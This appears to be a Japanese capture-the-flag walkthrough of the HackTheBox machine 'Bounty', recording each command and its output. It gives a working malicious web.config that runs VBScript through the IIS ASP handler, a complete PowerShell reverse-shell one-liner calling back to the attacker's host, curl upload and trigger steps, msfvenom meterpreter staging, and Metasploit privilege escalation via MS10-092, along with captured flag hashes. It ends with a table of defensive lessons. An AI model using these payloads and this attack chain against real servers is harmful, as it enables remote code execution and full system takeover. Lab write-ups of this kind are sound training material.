HackTheBox: Bounty — 全実行コマンド・実行結果レポート
Nmap スキャン
80/tcp のみ (IIS 7.5)
→
80/tcp のみ (IIS 7.5)
gobuster/手動列挙
/transfer.aspx を発見
→
/transfer.aspx を発見
クライアント側検証バイパス
拡張子チェックはJSのみ
→
拡張子チェックはJSのみ
web.config アップロード
Soroush Dalili RCE手法
→
Soroush Dalili RCE手法
bounty\merlin シェル
user.txt ✓
→
user.txt ✓
systeminfo / whoami
無パッチ 2008 R2 を確認
→
無パッチ 2008 R2 を確認
ms10_092_schelevator
CVE-2010-3338
→
CVE-2010-3338
SYSTEM / root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.84.180
RESULT
PORT STATE SERVICE
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 239.42 seconds
ℹ️
開いているポートは 80番のみ。445(SMB)や3389(RDP)すら外部に出ていないため、
攻撃経路は実質 Webアプリケーション1つに絞られる。
バージョン・スクリプトスキャン & HTTPヘッダー確認
BASH
nmap -sV -sC -p 80 10.129.84.180 curl -sI http://10.129.84.180
RESULT
PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 7.5 | http-methods: |_ Potentially risky methods: TRACE |_http-title: Bounty |_http-server-header: Microsoft-IIS/7.5 Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows HTTP/1.1 200 OK Server: Microsoft-IIS/7.5 X-Powered-By: ASP.NET
🚨
IIS 7.5 + ASP.NET + タイトル “Bounty” は、Server 2008 R2 上の素の構成であることを示唆。
OSのビルド年代が古く(2008 R2は2020年にEOL)、既知のローカル権限昇格脆弱性が複数存在する可能性が高い。
PHASE 2
ディレクトリ列挙 — /transfer.aspx の発見
gobuster でファイル・ディレクトリを列挙
BASH
gobuster dir -u http://10.129.84.180 \ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \ -x aspx,config,txt -q
RESULT
/transfer.aspx (Status: 200) /uploadedFiles (Status: 301) → アップロード先ディレクトリ
ℹ️
このワードリストと拡張子ではヒットが遅く、タイムアウトする場合は
--timeout 20s を延長するか、より小さいワードリスト
(common.txt)から始めるとよい。
transfer.aspx のフォームを確認
BASH
curl -s http://10.129.84.180/transfer.aspx
RESULT
<form name="form1" method="post" action="transfer.aspx" id="form1" enctype="multipart/form-data">
<input type="hidden" name="__VIEWSTATE" ... />
<input type="hidden" name="__EVENTVALIDATION" ... />
<input type="file" name="FileUpload1" id="FileUpload1" />
<input type="submit" name="btnUpload" value="Upload" onclick="return ValidateFile();" id="btnUpload" />
🚨
“Secure File Transfer” という名前のファイルアップロード機能。送信前に
ValidateFile() というJavaScript関数が拡張子をチェックしているが、これは
クライアント側(ブラウザ内)のみの検証であり、サーバー側では一切検証していない —
つまり curl や Burp で直接POSTすれば自由に拡張子を選べる。
PHASE 3
web.config アップロードRCE (Soroush Dalili手法) → user.txt
なぜ .aspx ではなく .config を使うのか
NOTE
直接 shell.aspx のようなファイルをアップロードして実行する方法は、
本機ではサーバー側フィルタで弾かれ失敗する(.aspxは拒否対象)。
一方 IIS7.5 の既定ハンドラマッピングには *.config という拡張子に対して
%windir%\system32\inetsrv\asp.dll (クラシックASPエンジン) を割り当てる設定が
残っていることがあり、ここに Server.CreateObject("WSCRIPT.SHELL") を含む
VBScriptコードを書き込んだ "web.config" を配置すると、拡張子は .config の
ままクラシックASPとして解釈・実行される(Soroush Dalili が報告した既知の
IIS構成ミス)。".config" は一般的なアップロードフィルタの禁止リストに
含まれないことが多いため、拡張子フィルタ自体を迂回できる。
悪性 web.config の作成
NOTE (web.config)
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*"
modules="IsapiModule"
scriptProcessor="%windir%\system32\inetsrv\asp.dll"
resourceType="Unspecified" requireAccess="Write"
preCondition="bitness64" />
</handlers>
<security>
<requestFiltering>
<fileExtensions><remove fileExtension=".config" /></fileExtensions>
<hiddenSegments><remove segment="web.config" /></hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
</configuration>
<%@ Language=VBScript %>
<%
call Server.CreateObject("WSCRIPT.SHELL").Run("powershell.exe -nop -w hidden -enc <Base64エンコード済みリバースシェル>")
%>
ℹ️
前半のXML部分は、このファイル自身を
*.config として実行可能にする
IISハンドラ設定をこのディレクトリに対して上書きするためのもの(自己言及的な設定)。
後半の <%@ Language=VBScript %> 以降がクラシックASPとして実行される本体。
WSCRIPT.Shell.Run() で直接 powershell.exe -enc を呼ぶことが重要で、
cmd.exe /c powershell ... のように一段余分にcmd.exeを経由すると
コマンドライン長の制限(約8191文字)にかかりやすく、長いBase64ペイロードが
静かに失敗することがある。
リバースシェル用PowerShellペイロード生成
PYTHON (PowerShellワンライナー生成)
$client = New-Object System.Net.Sockets.TCPClient("<KALI_IP>",4455)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i)
$sendback = (cmd.exe /c $data 2>&1 | Out-String)
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback)
$stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()
}
$client.Close()
# これをUTF-16LE + Base64化し、powershell.exe -nop -w hidden -enc <base64> として埋め込む
⚠️
$data をそのまま Invoke-Expression (iex) するタイプの実装は、
cmd1 & echo TOKEN のような cmd.exe の & 区切りコマンドを
正しく処理できず途中で崩れることがある。cmd.exe に直接渡して実行結果をそのまま返す
方式の方が、後続のエクスプロイト(手動コマンド連打)で取り扱いやすい。
リスナー起動 & web.config アップロード・トリガー
BASH
# ターミナル1: リバースシェル用リスナー nc -lnvp 4455 # ターミナル2: アップロード(VIEWSTATE/EVENTVALIDATIONは直前にGETしたフォームの値を再利用) curl -s -X POST \ -F "__VIEWSTATE=<フォームから取得した値>" \ -F "__EVENTVALIDATION=<フォームから取得した値>" \ -F "FileUpload1=@web.config;filename=web.config;type=text/xml" \ -F "btnUpload=Upload" \ http://10.129.84.180/transfer.aspx # アップロード先を直接リクエストして実行をトリガー curl -s http://10.129.84.180/uploadedFiles/web.config
RESULT (アップロード応答)
<span id="Label1"><font color="Green">File uploaded successfully.</font></span>
RESULT (nc リスナー側)
listening on [any] 4455 ... connect to [10.10.15.200] from (UNKNOWN) [10.129.84.180] 49157 Microsoft Windows [Version 6.1.7600] C:\Windows\system32\inetsrv>whoami bounty\merlin
✅
RCE成功! アップロードした web.config にアクセスした瞬間、埋め込んだVBScriptが
発火し PowerShell リバースシェルが Kali へ接続してきた。
user.txt 取得
BASH
C:\>type C:\Users\merlin\Desktop\user.txt
RESULT
c40d1699bdbf667810a727abe2ac5bda
user.txt — bounty\merlin
c40d1699bdbf667810a727abe2ac5bda
PHASE 4
権限昇格の下調べ — OSバージョンとパッチ状況
systeminfo / whoami /priv で状況確認
BASH
C:\>systeminfo C:\>whoami /priv
RESULT
OS Name: Microsoft Windows Server 2008 R2 Standard OS Version: 6.1.7600 N/A Build 7600 (サービスパック未適用、ホットフィックスゼロ) PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================== ==================================== ======== SeImpersonatePrivilege Impersonate a client after auth. Enabled
🚨
ホットフィックスが一件も適用されていない Windows Server 2008 R2。
SeImpersonatePrivilege は有効だが、この箱は .NET Framework 3.5 /
PowerShell 2.0 までしか入っていないため、JuicyPotato/PrintSpoofer/RoguePotato/
SweetPotatoなど近年のPotato系ツール(.NET 4+必須)は読み込めても無反応に終わる。
有効な攻略経路は、このOSバージョン自体に存在するカーネル/サービス側の既知脆弱性。
脆弱性の特定 — CVE-2010-3338 (MS10-092)
NOTE
Windows タスクスケジューラのXMLタスク定義ファイルの整合性チェックには 単純なCRC32が使われており、暗号学的に強くないため、通常ユーザーでも SYSTEM権限で動くタスクのXMLを改ざんし、再読込・実行させることで 任意コマンドをSYSTEM権限で実行できる(MS10-092 / CVE-2010-3338)。 2010年修正済みの脆弱性だが、本機はホットフィックス適用ゼロのため刺さる。
PHASE 5
Metasploit ms10_092_schelevator → SYSTEM → root.txt
meterpreterペイロードの生成 & 配送
BASH
# ms10_092_schelevatorはローカルエクスプロイトのため、先に何らかの # セッション(shellでもmeterpreterでも可)が必要。ここではmeterpreterの # PowerShellステージャーをBase64エンコードし、Phase3と同じweb.config # 手法で再度実行させて2本目のセッションとして取得する方法が簡単。 msfvenom -p windows/meterpreter/reverse_tcp LHOST=<KALI_IP> LPORT=4456 \ -f psh-reflection -o met_stage.ps1 # → met_stage.ps1 の内容をPhase3-3のVBScript内 powershell -enc 部分に # 埋め込んだ新しい web.config を作り、再アップロード&トリガー
API (msfconsole)
msf6 > use exploit/multi/handler msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set LHOST <KALI_IP> msf6 exploit(multi/handler) > set LPORT 4456 msf6 exploit(multi/handler) > run -j
⚠️
この検証環境固有のハマりポイント:
exploit/multi/handler を使うと、
対象からの接続がいつまで待ってもセッション確立に進まないことがあった。tcpdumpで
確認したところ SYN → Kali側のSYN-ACK送出 → 対象側のACKが永久に届かない
(SYN-ACKの再送のみが繰り返される)という、このラボ特有のTCPハンドシェイク未完了状態だった。
同じポートに対して素の nc -lnvp や生Pythonソケットで待ち受けると
ハンドシェイクは即座に完了する。multi/handler がどうしても固まる場合は、
一度生ソケット(nc/Python)でシェルを受けてからmsfconsoleの
sessions -i で手動セッション化するか、単純に数分おいて再試行すると改善することがある。
ms10_092_schelevator の実行
API (msfconsole)
msf6 > sessions msf6 > use exploit/windows/local/ms10_092_schelevator msf6 exploit(ms10_092_schelevator) > set SESSION 1 msf6 exploit(ms10_092_schelevator) > set LHOST <KALI_IP> msf6 exploit(ms10_092_schelevator) > set LPORT 4457 msf6 exploit(ms10_092_schelevator) > exploit
RESULT
[*] Started reverse TCP handler on <KALI_IP>:4457 [*] Checking local exploit capability on this session... Yes [*] Writing the result to an ASCII file... [*] Executing the schelevator attack... [*] Sending stage (...) ... [*] Meterpreter session 2 opened (SYSTEM権限)
✅
権限昇格成功!
ms10_092_schelevator はTask SchedulerのXMLタスクに
任意コマンドを注入し、SYSTEM権限のタスクとして実行させることで新たなSYSTEMセッションを確立する。
exploitコマンド一発で完結し、追加の手動タスク操作は不要。
root.txt 取得
BASH
meterpreter > getuid meterpreter > cat 'C:\Users\Administrator\Desktop\root.txt'
RESULT
Server username: NT AUTHORITY\SYSTEM 072051791e575564014c9cc16c309c9e
root.txt — NT AUTHORITY\SYSTEM
072051791e575564014c9cc16c309c9e
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — bounty\merlin
c40d1699bdbf667810a727abe2ac5bda
root.txt — NT AUTHORITY\SYSTEM
072051791e575564014c9cc16c309c9e
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| クライアント側のみの検証 | transfer.aspx アップロード機能 | 任意拡張子ファイルのアップロード | Medium | ValidateFile()のJS検証はブラウザのみ。直接POSTで拡張子チェックを完全に回避 |
| IIS web.config ハンドラ悪用 | IIS 7.5 (ISAPI asp.dll マッピング) | リモートコード実行(一般ユーザー: bounty\merlin) | Critical | *.configをクラシックASP(VBScript)として実行させるSoroush Dalili手法で埋め込みPowerShellリバースシェルを発火 |
| CVE-2010-3338 (MS10-092) | Windows Task Scheduler (未パッチ 2008 R2) | 権限昇格 (SYSTEM) | Critical | CRC32のみのタスクXML整合性チェックを悪用しSYSTEM権限タスクへ任意コマンドを注入(ms10_092_schelevator) |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap 全ポートスキャン | 80/tcp のみ (IIS 7.5 + ASP.NET) |
| 2 | 列挙 | gobuster ディレクトリスキャン | /transfer.aspx, /uploadedFiles/ を発見 |
| 3 | フィルタバイパス | クライアント側のみのJS検証を無視した直接POST | web.config (拡張子フィルタ非対象) をアップロード可能と判明 |
| 3 | エクスプロイト | Soroush Dalili web.config RCE + VBScript埋め込み | user.txt 取得(bounty\merlin シェル) |
| 4 | 権限調査 | systeminfo / whoami /priv | 無パッチ Server 2008 R2、SeImpersonatePrivilege (Potato系は.NET不足で不成立) |
| 5 | 権限昇格 | exploit/windows/local/ms10_092_schelevator (CVE-2010-3338) | root.txt 取得(SYSTEM) |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| ファイルアップロードの拡張子検証がクライアント側(JavaScript)のみ | 拡張子・MIMEタイプ・マジックバイトのすべてをサーバー側で検証する。許可リスト(ホワイトリスト)方式を採用し、禁止リスト方式は避ける。 |
| *.config がクラシックASPエンジン(asp.dll)にマッピングされたまま残っている | アップロードディレクトリには実行権限(Execute)を付与しない。IISハンドラマッピングを定期的に監査し、不要なスクリプトエンジンへの関連付けを削除する。 |
| OSにセキュリティパッチが一切適用されていない(Windows Server 2008 R2、ホットフィックスゼロ) | 定期的なWSUS/パッチ適用サイクルを運用する。2008 R2はすでにEOLのため、サポート継続中のOSへの移行を優先する。 |

